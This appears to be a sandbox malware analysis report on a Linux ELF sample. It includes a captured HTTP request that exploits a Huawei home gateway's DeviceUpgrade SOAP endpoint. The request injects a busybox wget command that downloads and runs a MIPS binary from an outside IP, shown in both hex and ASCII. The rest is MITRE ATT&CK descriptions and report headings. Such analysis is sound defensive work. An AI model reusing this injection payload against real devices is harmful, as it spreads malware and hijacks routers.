Dec 30, 2023 07:17:15.149396896 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: Hc4cUTxU09.elf PID: 6210, Parent PID: 6126

General

Start time (UTC):	06:13:40
Start date (UTC):	30/12/2023
Path:	/tmp/Hc4cUTxU09.elf
Arguments:	/tmp/Hc4cUTxU09.elf
File size:	66704 bytes
MD5 hash:	7444d9e3481a7f0fdf3beb05a7835cd5

Start time (UTC):	06:13:40
Start date (UTC):	30/12/2023
Path:	/tmp/Hc4cUTxU09.elf
Arguments:	-
File size:	66704 bytes
MD5 hash:	7444d9e3481a7f0fdf3beb05a7835cd5

Start time (UTC):	06:13:40
Start date (UTC):	30/12/2023
Path:	/tmp/Hc4cUTxU09.elf
Arguments:	-
File size:	66704 bytes
MD5 hash:	7444d9e3481a7f0fdf3beb05a7835cd5

Start time (UTC):	06:13:40
Start date (UTC):	30/12/2023
Path:	/tmp/Hc4cUTxU09.elf
Arguments:	-
File size:	66704 bytes
MD5 hash:	7444d9e3481a7f0fdf3beb05a7835cd5

Start time (UTC):	06:13:40
Start date (UTC):	30/12/2023
Path:	/tmp/Hc4cUTxU09.elf
Arguments:	-
File size:	66704 bytes
MD5 hash:	7444d9e3481a7f0fdf3beb05a7835cd5

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report Hc4cUTxU09.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: Hc4cUTxU09.elf PID: 6210, Parent PID: 6126

General

File Activities

File Moved

Process Activities

Process Forked

Prctl Requested

Chronological Activities

Analysis Process: Hc4cUTxU09.elf PID: 6211, Parent PID: 6210

General

File Activities

File Opened

File Read

Linux Analysis Report
Hc4cUTxU09.elf